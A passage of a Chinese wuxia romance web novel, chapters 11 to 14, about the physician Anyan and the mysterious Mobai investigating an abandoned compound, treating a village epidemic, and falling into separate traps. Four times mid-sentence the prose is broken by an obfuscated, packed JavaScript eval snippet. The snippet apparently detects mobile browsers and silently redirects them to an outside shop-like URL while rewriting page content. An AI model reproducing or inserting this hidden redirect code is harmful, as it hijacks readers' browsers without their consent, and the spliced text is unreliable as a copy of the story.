安晏心头一阵惊恐,仿佛这盛夏夕风突然凝了冰霜。她呆然站立半晌,终于想到他们或许并未走远,急忙出声唤道:“墨公子!谢姑娘!——墨白!” “我在这里。” 身后响起墨白温润的嗓音,安晏回过身,谢新柳也站在墨白身侧,她这才松了口气:“吓死我了,我还以为你们……” “放心,有我在呢,不会出事的。”墨白笑吟吟地走上前,瞳孔漫着夕光,像安慰小孩子一样,摸了摸安晏的头顶,“我久等你不回来,就找村民问了一句,得知你在屋内替人诊病。路上人来人往,多有不便,谢姑娘行路乏累,也该找个舒适的地方休息,我就带着她,暂借了这位陈大夫的卧房——陈大夫,未能先征得您首肯,还请您多包涵。” 最后一句,墨白抬起目光,向正从诊室走出的陈应思遥遥望去。 “不敢。”陈应思拱手施行一礼,“既是安姑娘朋友,天色不早,几位不妨留下来用晚饭吧?” “真的?那我就不客气了。”安晏喜笑颜开,趁机试探道,“你这……能睡得下四个人吗?” “当然。”陈应思笑道,“今日多谢安姑娘帮忙,村中还有不少病人,我也想向姑娘讨教一二。几位若不嫌农舍简陋,便是长住,我也没有不欢迎的道理。” ———————————— 晚饭只一些清淡蔬果,但几人都早已习惯了。桌上,陈应思和安晏讨论着药草药方,墨白听了半刻钟,忽而插话道:“陈大夫,今日我在村中,发觉大家都不甚欢迎我和安姑娘,可是有什么隐情?” 安晏微怔,看了墨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956548|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白一眼:“的确如此。” 陈应思顿了顿,而后低叹道:“我也不瞒几位了,几位若去过西边,就会看见,西行十里,村居残破,荒无人烟——大约十六年之前,那些村民被江湖人驱赶而背井离乡,更有许多妻离子散,家破人亡。活下来的,就到了现在的坪井村。他们不喜欢江湖人,正是因为当年的那场动乱。” 安晏和墨白不由得对视了一眼,安晏急忙问道:“我们正是从西边过来,你可知道十六年之前,发生了什么?和——和那座无人的宅院有关吗?” “你们去过明思院了?”陈应思难掩惊讶。 “不如说,我们正是因那明思院而来的。”安晏探过上身,目光恳切,“我们正在调查明思院的事,你知道什么吗?多小的线索都行。” 陈应思却又沉默了半晌,最后才叹声道:“我并未亲自去过明思院。传言,那院子里住着恶鬼,常有哀哭声和惨叫声,是误入其中的行客被恶鬼啃食发出的声响。村人大多迷信,无人敢接近那宅院,更不用说去一探究竟。”默了默,垂下眼睫,“我……在家父过世后,虽曾去过院外,但院门上了锁,我终究未能进入。” 他已很久不曾回忆那段染着鲜血的过去了。 父亲不让他接近明思院,他便听从父亲的叮嘱,但他问起缘由,父亲又不肯言明,只说叫他不要参与江湖纷争。三年前父亲病逝,他按捺不住好奇,终究还是一个人去了。 明思院早已无人。 可他却闻见了比药草更浓的血腥。 “我没有告诉村里人,家父……原来,在江湖门派中做事。”陈应思开口,长睫隔绝了烛光,也一并隔绝了眼底的哀痛,“二十二年之前,那个门派引发了江湖争乱——不,或许该说,那个门派血洗了整个江湖,而后,却遣散所有弟子,在江湖上消失了。家父也就此失去了归处,只有带着我和娘亲,开始在江湖上漂泊。” “血洗江湖?消失?”安晏疑惑道,“究竟发生了什么?” “那时我只有一岁,哪里记得发生了什么。这些,都是我后来从家父口中,还有其他江湖人口中,听来的故事。”陈应思安静地摇了摇头,“家父不会武功,我和娘亲也都是拖累,我们一路吃尽了苦头——但他,他始终没有怨过任何人。” 安晏蹙起眉,不再追问了。二十多年前的江湖门派,她回去之后,找机会问问师父,他肯定知道。 “你们到建德县后,可是正遇上江湖人驱赶村民?”墨白突然问。 安晏略有惊讶地看了看墨白,但没说什么,又向陈应思看去。 “不错。”陈应思轻轻点头道,“据家父所言,我们行至建德县城郊,本在牛家村落脚,突然有十数江湖人闯进村中,喝令村民离开,稍不听从者,行动稍慢者,他们便毫不留情地砍杀。我……”默了默,神色渐而黯然,“娘亲当时怀有身孕,逃离匆忙,动了胎气,最后……家父竭尽全力,也没能救回她。” “此后,家父就带我定居于坪井村,不愿再和江湖有任何联系。我知道家父心中愧疚自责,他明明是大夫,却没能救下妻儿……直到三年前,家父也过世了。” 昏黄的烛影幽幽,他的语调平缓寂静,又好似蕴藏了太多的情绪。 良久,安晏终于道:“陈大夫还请节哀。” 12. 你要丢下我了吗 陈应思一顿,回过神,笑叹了一声:“过去很久了,无妨。只是,关于明思院,还有当时的江湖人,我确实所知无几,也无法告诉你更多了。” “没关系。”安晏笑着道,“明日出诊,我再问一问年长的老人家,眼下更重要的,是治好村子的痢病。”想到这里,安晏又不禁发起了愁,“痢病极易传染,明日清晨,要先去告诉村里人,务必用煮过的水烧菜和清洗衣物用具。而且,你这里药材不多了,县城也已经落锁,我去村子四周转一转,或许能就地取材,一解燃眉之急。” 陈应思点头道:“好,我和你一起去。” 墨白却突然也道:“我也一起去。” 谢新柳看了看墨白,也道:“我也一起去。” “今天一整日都在赶路,你们不累吗?”安晏疑惑地道,“时辰也不早了,还是回房休息吧?” “不好,我不累,我要和你一起去。”墨白眉眼俱弯,轻柔的语气似乎带了一点撒娇的意味—— 但安晏怎么看,怎么觉得有些——危险。 她吞了吞口水,气势却弱了:“我,我是个大夫,我觉得……” 墨白笑吟吟地,瞬也不瞬地凝视着她。 她十分没骨气地认输了:“好吧,但如果你觉得困了,或者身体不舒服,必须立即回来睡觉。” “好,我听你的。”墨白笑得像一只狐狸。 “安姐姐,我不想自己留下,我也要一起去!”谢新柳适时地请求道。 安晏无可奈何地长叹:“好,都去,都一起去。” ———————————— 吃过晚饭,四人便一起出门了。 安晏和陈应思一路弯着腰,自脚边一株株草看过去,偶有可用的药草,就摘下来放进背上竹筐。墨白和谢新柳说是来帮忙,但他们二人不懂药,走在安晏和陈应思身后几步远,倒更像是两个监工。 走出一里,安晏忽然顿住了脚。 “陈大夫,前面似乎有水声?”她顺便直起身子,活动了一下略微僵硬的腰。 “是,前面不远有一个水塘,要去那边看看吗?” “要去要去,水边可有不少好药材。” 安晏加快了脚步,赶到水塘边,清幽的月光淌下,夜中水波如银,偶有一尾游鱼,却只来得及瞥上一眼,又灵活地钻到无数片碧绿色的莲叶下了。 安晏站在水边,仔仔细细地张望着。 半晌,她兴奋地一拍手:“果真不出我所料,这水塘里生着不少水葵,对痢病大有帮助!”回过头,“我去摘就行了,你们在岸边等我,小心别弄湿了鞋袜。” 说完,足尖一点,她已如春燕般掠进池水中,又如蜻蜓般,轻盈地立在了莲叶上。 安晏几乎将水葵摘了个干净——足足装满了两个竹筐。回到陈应思住处,已经快到子时,安晏再次催促墨白和谢新柳去睡觉,但二人不听,执意要帮忙清洗刚摘的水葵。安晏只得作罢,这一通忙完,又过了近一个时辰。 “好了,剩下的,我来做就行了。”安晏直起腰,转头看去,却只见墨白一个人笑望着她,“谢姑娘呢?” “她年纪还小,实在熬不住,方才已回屋睡了。”墨白笑意盈盈,目光比月光还要清亮,“接下来做什么?” “你也快去睡吧。”安晏心中不由一动,忙侧开眼,在衣摆上随意擦了擦手,搬起一筐水葵,“这些水葵,我找个通风的地方晾上一晚就行,没有太多事了。” 墨白仍弯着眉眼,又问:“我来帮你,接下来要做什么?” 多日相处,安晏早已经明白,他看似温和随意,实际却强势得紧,到底还是要她妥协:“好吧,接下来,我还要去清点草药,明日白天若得空,得去县城一趟。墨公子,夜已深了,你真的该去休息了,药草的事,你也不熟悉,有陈大夫帮我就行了。” 墨白不说话了,看着她,嘴角的弧度却也渐渐消失了。 安晏吞下一口口水,她分明处处为他着想,怎么倒好像是她为难他了? “墨公子,你看,谢姑娘都已睡了……” 墨白不说话。 “我熬上一夜不要紧,你不会武功,身体如何受得住?” 墨白还是不说话。 “要不,你若……明天有些精神,就和我一道去县城买药吧?” 墨白终于笑了。他站起身,像往常一样摸了摸她的头顶:“那就说定了,我去睡了。” 他忽然变得极听话,一刻也不耽搁,转身就走进了屋。安晏怔怔地看着墨白道了晚安,关上房门,这才长叹一声,搬上竹筐去屋后找陈应思了。 她哀叹地想,她一定是上辈子欠了他。 ———————————— 转眼,安晏几人已在坪井村住了五日。 村民痢症渐渐好转,安晏医术高明,药到病除,墨白也极擅安抚人心,村民们都不再像最初那样充满戒备。然而,村子里没有人知道明思院的事,只忧心忡忡地叮咛安晏几人,千万不要接近那个“住着恶鬼”的宅院。 安晏连连答应,心想着她早已把明思院翻了个底朝天,不过……难得的线索,竟又断了。 第五日晚,安晏向陈应思告辞,说她打算明日离开。 陈应思有些意外,但看墨白和谢新柳都面色平静,想来他们已有商定,便只得颔首道:“安姑娘既然要事在身,我也不好留客,这些日子,已经万分感谢你了。” “没什么,医者救人,都是应当的事。”安晏不以为意道,“村民痢症已解,我也默写了几本医方,给你留下。虽然时间匆促,还有不够详尽之处,但已可应对大部分病症了。” 陈应思一怔,慌忙起身,又是惊喜又是感动地对安晏深深一揖:“安姑娘如此厚礼,我实在无以为报。” “不用客气。”安晏忙虚扶起陈应思,“我虽写了医方,但医病不可照本宣科,仍需你再细细思考研读。” “是,我定会……” 陈应思还未说完,墨白忽然打断道:“你准备去哪里?” “我想再去兴德郡一趟。”安晏沉吟着,“明思院里恐怕也没有更多线索了,倒是当时的马郡尉,或许可以一问。” 陈应思不禁疑惑,他们竟尚未商定去处吗? 但听墨白平静地问:“顾将军不知道是否还在兴德郡,但郡城必然戒备森严,此时入城,是否有些冒险了?” 安晏摇了摇头:“我实在担心夜长梦多,想问一问那马郡尉,究竟为何要诬陷于我,那所谓证人确有其人,或只是他的杜撰。兴德郡必须要再去一趟,但是……我想独自去郡尉府,以我的武功,那些人抓不住我。” 听到这里,陈应思终于忍不住插话道:“你们……遇到了什么难事?” “此事说来话长了。”安晏支着头,简单说明了一下她和墨白遭受诬陷,正被官府通缉的现状。但有关伏焱的事,她却省略未言。 伏焱心思难测,手下无情,陈应思少知道一些,就少一分危险。 她毫不怀疑如果伏焱得知,会眼也不眨地杀了他。 陈应思忧心忡忡地道:“不如,我和你们一同去吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956549|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?官府的人不认识我,我可以帮你们打听消息。” “陈大夫,不用了。” 安晏正想婉拒,墨白却突然冷淡地先她一步拒绝了。 近几日,她总觉墨白有些反常,她与陈应思说话时,他时常打断他们。但她本也不打算牵连陈应思,就顺着墨白的话道:“陈大夫心意,我先谢过了,但村中还有病人,可不能离开你这个大夫。”又转头问谢新柳,“谢姑娘,你想不想……留在陈大夫这儿?” 一直未言的谢新柳突然一惊,看着安晏,目光竟染了惶恐:“安姐姐,你要丢下我了吗?” “不是要丢下你。”见谢新柳泫然欲泣的样子,安晏忙解释道,“之前没来得及告诉你实情,我和墨公子正被官府通缉,和我们在一起,实在不安全,你不如留在坪井村,更稳妥一些。” “安姐姐,我要和你们一起走。”谢新柳却垂了头,小声地吸了吸鼻子,“我不怕辛苦,你去郡尉府的时候,我和墨哥哥在一起,不会给你添麻烦的。” 安晏默了默,明白谢新柳心结未解,终于还是长叹道:“好,那我们一起走,你不要害怕,我不会丢下你。”又向陈应思一拱手,“抱歉,未能事先和你说一声,也险些给你添了麻烦。” 陈应思笑着摇了摇头:“我倒无妨,只是谢姑娘不愿,也就不要勉强她了。” 安晏原本觉得陈应思心地仁善,谢新柳留在他身边,她能一万个放心,而且,谢新柳此后不仅能够平静生活,还可以多学一门诊病的手艺,陈应思身边也能有个帮衬——这本是一举三得的好事。 不过……她既然不愿,就算了吧。 ———————————— 转日清晨,天光未曙,墨白就把安晏和谢新柳叫了起来。 谢新柳十分乖顺地去外间洗漱,安晏却睡眼惺忪,不满地控诉着:“这才什么时辰,天还没亮呢,咱们有这么着急赶路吗?” 墨白笑眯眯地说:“清晨天气凉快,此时不赶路,难道要等午时才走吗?” 这个理由,确然无懈可击。她不怕暑天,但墨白和谢新柳却只是普通人。安晏只得呵欠连天地下了床,穿好外衣,又用清水洗了把脸,这才觉得清醒一些。谢新柳和墨白都已收拾妥当,在门外等她,她关好屋门,对墨白道:“我去同陈大夫告一声辞。” 这几日,陈应思将卧房让给了安晏和谢新柳,他和墨白则一直睡在诊室里。 安晏转身向诊室走去,墨白却突然拉住了她的手腕。 “你别去。” 安晏听见墨白低声道,不同于以往温柔促狭的语气。她回过头,不禁有些担心:“怎么了?” 墨白却随即笑了,方才眸子里一闪而过的暗色仿佛是她的错觉:“陈大夫还未睡醒,你贸然进去,可不是扰人清梦?” 安晏迟疑道:“但我们叨扰多日,不辞而别,是不是太不礼貌了?” 墨白笑靥盈盈:“昨日不是已经同陈大夫辞行了?我在房中留了书信,陈大夫醒来便看见了,别担心。我们走吧?” 安晏看了看诊室紧闭的门窗,总觉得似乎有哪里不对,但她又说不上究竟哪里不对,最后还是转了身,同墨白、谢新柳向院外走去:“也罢,再道一次别,也只是徒增伤感。走吧,我看午时前,咱们就能到建德县了。” “好。”墨白加快了脚步,紧随在安晏身侧。天际云霞渐舒,晨风沁人心脾,他的心情也仿佛一下子变得轻快而明朗。 诊室内,陈应思仿佛仍在沉睡。一痕烟气若有若无地缠绕着窗棂,又眨眼间消散了踪迹。 13. 我只是想找到真相 狭小幽暗的房间。 夜深更重,无月无灯,黑暗中只一人沉甸甸的呼吸声,伴着弥漫在身周,腐朽发霉的味道。 安静,寂静。这样沉默又压抑的日子,仿佛已过去很久。 屋外忽吹过一阵风,破旧的木门发出了喑哑的呻吟。床上的人似乎听见动静,呼吸声顿了一顿—— 墨白猛地惊醒过来。 头骨隐隐作痛,他竟在梦中,出了一身冷汗。 这些……也是他的记忆吗? 转头看去,天光初明,墨白已无半分睡意,干脆起床更衣洗漱。今日,安晏要入兴德郡城与郡尉对质,他正好去找那个人一趟。 ——他曾在那个人手下做了十年的事,那个人,也算是他的半个师父了。 关于他的身世,关于义父心中所想,或许,那个人会知道一些什么。 ———————————— 推开屋门,是一家农院,晨阳在天际冒出酡红色的一个脑袋,娇憨可喜,像是微醺的小姑娘。墨白不由得在院中驻足,默然立了半晌。 他最终还是没有叫醒安晏起床看日出,她今日要去郡尉府,说不定又要与人兵戎相见,她不杀人,逃起来必要多费些力气,就让她多睡一会儿吧。 反正以后,还会再见到朝阳。 他于是抬脚,向院外走去。 却没有意识到,过去的二十年,他是从来不看朝阳的。 ———————————— 安晏起床时,墨白已带着三个烧饼一碗酱菜回来了。 “辛苦你了。你起得这么早,真的不会困吗?” 安晏拉着谢新柳坐下,二人都有些睡眼朦胧,墨白忍不住笑道:“我习惯了,倒是你们还在长身体,应当多睡一个时辰。” “我早就不是小孩子了,再说你也就比我大两岁。”安晏不服气地瞪了他一眼。 吃过早饭,安晏带上采萧剑起行,临走前忧心忡忡地叮嘱墨白与谢新柳:“我明日此时一定回来,你们千万不要乱走,就在这里等我。” “好。”墨白笑眯眯地答应着。 可他这副表情,安晏越看越是怀疑,顿了顿又强调道:“如果你们乱走,我回来就找不到你们了,所以千万要在这里等我。就算……就算我被什么事情绊住,明日没能赶回,后天也一定会回来找你们。” “好。”墨白仍只说了一个字,连神情都丝毫未变。 安晏直皱眉头,半晌,却下定决心般深吸了一口气,定定凝视着墨白的双眼,道:“万一……我是说万一,我五日后仍未赶回,你就带着谢姑娘离开吧。不要再管我了。” 她本以为墨白仍会说“好”,谁知他却忽然低叹了声,抬手摸了摸她的头顶。 “别瞎说。”他的话音是一如既往的温柔,又似乎多了些喟叹,“我不会独自离开,你也不会出事的。” 安晏心头微顿,但没有再说什么,对二人道了声别,就转身离开了农院。 墨白站在院子门口遥遥望着,直到安晏的身影完全看不见了,他忽然转过头,笑眯眯地问谢新柳:“吃糖吗?” 谢新柳不明所以:“什么?” 墨白变戏法似的掏出一个小纸包,展开来,里面包着一颗指甲大小的糖果。他递到谢新柳面前:“早上买烧饼时,李老伯给我的。我不想让安晏因为这颗糖多想,耽误她正事,就给你吃吧。” 谢新柳低头看了看那颗糖,又抬头看了看墨白。 墨白诱惑一般地续道:“其实,李老伯给了我两块,但我在你们醒来之前就吃了一块。这块糖给你,安晏回来之后,你可不要告诉她咱们俩偷偷吃糖的事。” 谢新柳看着墨白,半晌,终于展颜笑了:“好。”她伸出手,拿起糖放进了嘴里。 墨白似乎很满意,看了她片刻:“好了,回屋去吧。今天安晏不在,我们做点什么呢?” 身后,谢新柳却犹豫着道:“墨哥哥,我……觉得还有些困,我想……再睡一会儿。” “嗯?”墨白回头,朝霞映着他的眉眼,他的笑容仿佛一汪危险的湖泊,“那,你去屋里睡吧,到了吃饭的时候,我再叫你。” “嗯。”谢新柳不敢多看他一眼,垂下头,越过墨白,走回了里屋。 墨白却在外间的木椅上,一动不动地坐了一刻钟。 云霞渐渐淡了,晴空澄澈如一片水晶,他终于起身,听了听屋内谢新柳的呼吸声,而后迈出了门槛。 一个昼夜,足够他来回了。 ———————————— 晚风潮湿,蒸得人昏昏欲睡,郡尉府内,除值守侍卫正抱着长刀打瞌睡,院子内外没有半个人影。 树影突然微微一晃。 一个侍卫似乎感应到了什么,转头向院子里那棵高大的榆树看去。 “怎么了?”另一个侍卫打着哈欠问。 “没什么,可能是我听错了。”先前那侍卫摆摆手,又换了个舒服的姿势,重新靠在了门柱上。 安晏已摸到窗下。 许是夏夜闷热,马郡尉竟未关窗,安晏毫无阻碍地翻窗而入。马郡尉正在熟睡,屋内没有第二个人,她竟连迷药都省了。 她将药粉放回怀中,走到床边,重重推了马郡尉一把。 然后在他惊叫出声之前,点中了他的哑穴。 “我无意取你性命,只是有几句话要问你。”她拽起马郡尉,迫得他靠上墙壁,冰冷的匕首抵在他颈侧,仿佛不合时宜盛开的雪花,“如果你试图求救,我就会立刻杀死你,知道了吗?” 马郡尉吓得抖如筛糠,忙不迭地重重点头。 安晏这才解开了他的哑穴,手中匕首却一寸未动:“前些日,顾将军还在,你私将成州多起杀人案的罪名诬陷于我,我不得不打伤侍卫逃走——此事,你可还记得?” 马郡尉手脚发颤:“是……是你……” 他自然没有忘记安晏,他早已发令悬赏,可她是如何躲过了搜查,又是如何潜入了郡尉府?她必是找他寻仇来了。 “不错。”但听安晏低声道,“我今日来,是要问你,你当日说收到证人举报,那证人是谁?现在何处?” “他……他是一个乞丐。”马郡尉声音抖个不停,“他,他就在……秦家对面的,小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956550|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,小巷子里……” “乞丐?”安晏不禁蹙眉,那日,她确实没有留意对面的小巷——不过,那乞丐为何要陷害她?“我与他无冤无仇,他为何要作伪证?是你与他勾结,想私自将我定罪,好去王都邀功吧?” “这,这真的与我无关……”马郡尉胆战心惊地斜目看向那匕首,脖子上的血液仿佛已冻住了,“他,他常年睡在那,那小巷里,我才会,才会信了他……你,你若想问他,他肯定还在那里……他鼻梁上,有,有一颗黑痣,你一看便知……” 安晏沉默半晌,忽然出手,再次点中了马郡尉穴道。 而后,她终于将匕首离开他颈侧,在黑夜里清冷地看着他。 “要辛苦你在此等我一夜。”马郡尉发现自己已不能喊,不能动,只能听着安晏冷然开口,“我自会去找那乞丐,但如果他不在,我还会再来找马大人。” “你……”他只能发出勉强的气声,“你可知,顾将军仍在追查你……就算,我撤销了悬赏令,你也……定无法逃走。” 安晏目色平静:“我并非要逃,我只是想找到真相。” 找到关于伏焱的线索,找到伏焱。 ———————————— 吉祥酒楼。 如此俗气的名字,是无论如何同江湖挨不上边的。 但墨白却在门前停了下来。 他抬起头,望着那一块被雨水冲得发白的牌匾,目光似流露出某种怀念。但只有短短瞬息,他的神色便恢复了清淡,他走上石阶,袖中暗光一闪,将那门栓劈成了两段。 他推开门—— 漆黑的屋堂中,忽有一道白光亮如既望之月,快如满弓之箭,直向他面门袭来! 墨白的神色却一痕缝隙也无,在那把小刀刺穿他眉骨之前,他抬起手,将它夹在了食指与中指之间。 而后他双指发力,将那小刀又掷了回去。 刀入沉木,发出一声钝响,厅中一盏烛灯幽幽亮起,映出一个中年人的身形。 似乎已等候多时了。 “坐吧。”那人不紧不慢地说。 墨白没有言语,走到那人对面坐下,那把小刀插在他们之间,离烛台只有不足一寸。 “多年不见,你的身手,似乎又有了长进。”那人在昏昧的烛光中望着墨白,眸底浮上些欣慰。 “夜,”墨白终于开口,平淡的声线听不出喜怒,“你何时察觉我的?” 夜老板微微一勾嘴角:“大概,是在你踏入城门的时候吧。” 墨白神色一暗。 夜老板不以为意地笑笑:“你不要忘了我是做什么的,不过,你居然能查到这间酒楼,看来你虽去了政部几年,倒也没忘记在线部所学的本事。” “只要存在,就一定有迹可循。”墨白淡淡启口,“这句话,还是您曾经教给我的。” “你一向聪颖过人。”夜老板微眯起双眼,“那么,你今日来找我,应该不是为了叙旧吧?你——想知道什么?” 墨白抬眼,一瞬不瞬地注视着夜老板:“我想知道我的身世。在进入麒麟阁之前,我究竟来自何处?” 14. 你似乎,很喜欢安姑娘 夜老板微怔,旋即笑了:“你为何觉得我会知道?” 墨白眼也不眨。 夜老板似乎很好心地建议道:“若说天底下消息最灵通之处,非飞春阁莫属,你何不去问一问薇娘?在我这里,你是得不到你想要的答案的。” 墨白未作理会,却追问道:“我有一个哥哥,是吗?” 夜老板不答,停顿半晌,静静移开了视线:“墨,你确实不该问我。即使我知晓你的身世,你为何认为我会告诉你?即使我告诉了你,你又如何肯定,我没有欺瞒你?” 墨白心下已了然:“你知道。” 夜老板百毒不侵地笑着:“你不是才说过?只要存在,就一定有迹可循。” 夜老板几番顾左右而言他,一向好脾气的墨白也终于耐不住了,他霍然起身,袖中一把墨色短刀滑落至手中。 “告诉我真相。”墨白语意如冰,墨刀仿佛浸了幽冥的冷。 夜老板却浑不怕他,犹噙着笑,静了片刻:“你似乎,很喜欢安姑娘?” 墨白握刀的手一紧,语气却未松动:“与她无关。” 夜老板却稍稍蹙了眉,沉吟片刻后,似乎有些恍然:“是了,怪不得你会突然问起旧事。安姑娘医术颇高,是不是她,解开了你的记忆?” 墨白不由得将刀尖向前递了一寸,嗓音喑哑,如染了冥河之水:“你到底还知道什么?义父——阁主又到底想做什么?今日你若不说个明白,休怪我不顾念往日情分。” 夜老板终于缓缓起身。 他望着墨白,仿佛长辈望着晚辈,又仿佛猎人望着猎物:“你狠心果决,从不相信他人,这是你的优点,能助你做成许多事——却,也是你的弱点。” 墨白心下一顿,但仍不动声色地威胁道:“我的武功早已在你之上,你既知我狠心,便该明白,你若再拖延,我真的会杀了你。” 夜老板却叹息着摇了摇头。 他突然出手了。 烛焰无风而动,四壁人影如同鬼影,墨白斜刀便砍,心中却猛地一骇,忙踢倒木凳欲退——却早已不及。 夜老板一掌劈中他手腕,墨刀飞出几丈远,他被真气一冲,不由得连退三步,撞上了身后的方桌。 血腥气漫上咽喉,墨白一手抚着胸口,抬起眼,不敢相信地望向烛光中的夜老板。 “我的武功,确然不及你。”夜老板淡声开口,目色幽然如叹惋,“我是阁中最善使毒之人,你在打开门的时候,就已经中了毒。此毒无色无味,但相信以安姑娘医术,必能立时察觉——可惜,你不信任她。” 墨白死死地盯着夜老板,鲜血从口中溢出,胸腔里火烧一样的疼。 夜老板笑了,直至此刻,他的眼中终于浮现出属于暗夜的,冰冷而残忍的光:“你一向聪明,你猜你今夜会不会死在这个地方,而没有任何人知道?” ———————————— 秦家对面的巷子里,一个人也没有。 秦家夫妇与老人都死了,邻居也搬走了,漆黑寂静的闾巷颇有些阴森之感。然而安晏却无暇顾及鬼神之说,她里里外外将巷子翻了个底朝天,终于确认——那乞丐已经不在了。 他不在这条巷子里,他是搬去了其他的巷子,或者,已经死了? 她应当回郡尉府再问,或者—— 她想了想,拐进了一旁的巷子。 旁边的巷子只有不足三人宽,墙根下稻草乱堆,上面睡着一个乞丐。 安晏蹲下身子,往乞丐面前的木碗中扔了几枚铜钱。 那乞丐听到动静,猛地惊醒过来,看见面前蹲着一个年轻姑娘,不由得张了张口,又看见她腰间的长剑,立即将嘴紧紧闭上了。 “我找你打听一个人。”安晏尽量将声线放得温和。 “你……你要找谁?”那乞丐往里缩了缩身子。 “你旁边那条巷子,”安晏抬手指了指,“原来有一个乞丐,鼻梁上生着一颗黑痣,你认得他吗?” 那乞丐点点头:“认得,我们这,都叫他何三。” “嗯,何三。”安晏默默记住了这个名字,“那你知道,他现在在什么地方吗?” 那乞丐摇摇头:“这,这我不清楚。我几日没见到他了。” “那,”安晏不肯就此放弃,“何三是怎样的人,你知道吗?他平日常去什么地方,或者,他有没有其他相熟……” 话音猛地顿住。 身后风声逼近,在这幽谧的窄巷内尤显得突兀刺耳。杀意充斥着逼仄的空间,安晏心下大骇,忙欲起身拔剑——可根本来不及。 她蹲着身子,她不能伤及这个乞丐,采萧剑尚在鞘中,可巷子只有三人宽—— 脑后重重一击,随即天旋地转。她甚至没看清袭击者的模样,就失去了知觉。 那乞丐早吓得坐直了身子,拼命向后挪动,似想把自己嵌进那墙壁里。月色脉脉,夜风寂静,黑暗中渐而浮凸出一个男人的身影。他走上前,弯下腰,用手中铁棍戳了戳安晏毫无反应的身体,而后将她拎了起来。 那乞丐手脚俱颤,双唇苍白:“何,何三……” 何三抬起头,他便看见了他幽亮如刃的目光。 ———————————— 墨白突然向门外跑去。 他太轻敌,因而中了夜老板暗算。是他错了。但他不能死在这里。 不——夜老板不会杀他。他又未犯下什么背信弃义的重罪,他是阁主义子,夜老板私自杀了他,难道也不想活了吗? 但是,他必须逃。夜老板显然知道他的身世,却始终守口如瓶。这其中究竟藏着什么秘密?是他不能知道的秘密吗?——夜老板虽不会杀他,但定会令他失去意识,将他带回麒麟阁,然后,再一次让他忘记。 儿时的记忆也好,这一夏的记忆也好,他不想忘记。 他不想再让任何人夺走本属于他的记忆。 然而,他踉跄着仅仅跑出了几步,夜老板衣袖当风,远远一掌,合上了木门。 “我劝你不要自寻死路。”夜老板冷清地开口,走去将木门上了锁,“你走不出这条街,就会毒发身亡了。” 墨白死死地盯着夜老板,黑暗中犹如一只不甘心折服的困兽。 “不过,”夜老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956551|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板转过身,复又向他走来,“你即使不死,可能也见不到她了。” 墨白悚然一惊,但这回他刚迈开一步,夜老板凝虚一掌,又迫得他退回了那张燃着灯烛的方桌前。 “你打算做什么?”墨白紧咬着牙,双眸冒出戾火。 夜老板却笑了笑,神情放松下来,仿佛他们二人从未拔刀相向,而只是多年不见的师徒、好友:“我知你今晚要来,特意做了一斤酱牛肉,你再陪我喝几杯酒。”竟也不看墨白,向后厨走去,“我好意劝你,此时此刻,你还是乖乖听话比较明智。” 墨白未言,视线随着夜老板转到后厨,又转回桌上。 夜老板放下一碟切好的牛肉,两双竹筷,并一把青瓷酒壶,两只白玉酒盏。清酒入杯,浓香醉人,他将一盏推到墨白面前:“是用海棠酿的,不多见,细品起来,却有些别致的甘醇。” 墨白一动未动,目光仍落在夜老板脸上。 夜老板微勾起嘴角:“你看,你怎能断定,我不会好心好意,在酒菜中放了解药?” 墨白仍旧不言,却终究扶着桌沿,慢慢地坐下了。 他当然知道,夜老板不可能好心好意,在酒菜中放入解药。 他坐下来,只是因为他太累了。 这毒药不仅令他内力全无,更仿佛能噬人神智,他双腿早已无力,烛火昏昧催人欲睡,他直将手心刺出了血。 但听夜老板缓缓地道:“我知道的,的确比你更多。” 墨白沉默地凝视着他。 “不过,我不知道全部内情。我只知道,是阁主亲自带你回来的,只有你一个人。我并不知道,那个叫做伏焱的人,是否是你的哥哥。” ———————————— 滴答。 房顶上落下一滴水,落在了安晏眉心。 虽是夏夜,流经地底的水却透着荒凉的冷,安晏一个激灵从昏迷中惊醒,这才发现自己双手双脚俱被绑住,而她正在一个四面无窗的暗室之中。 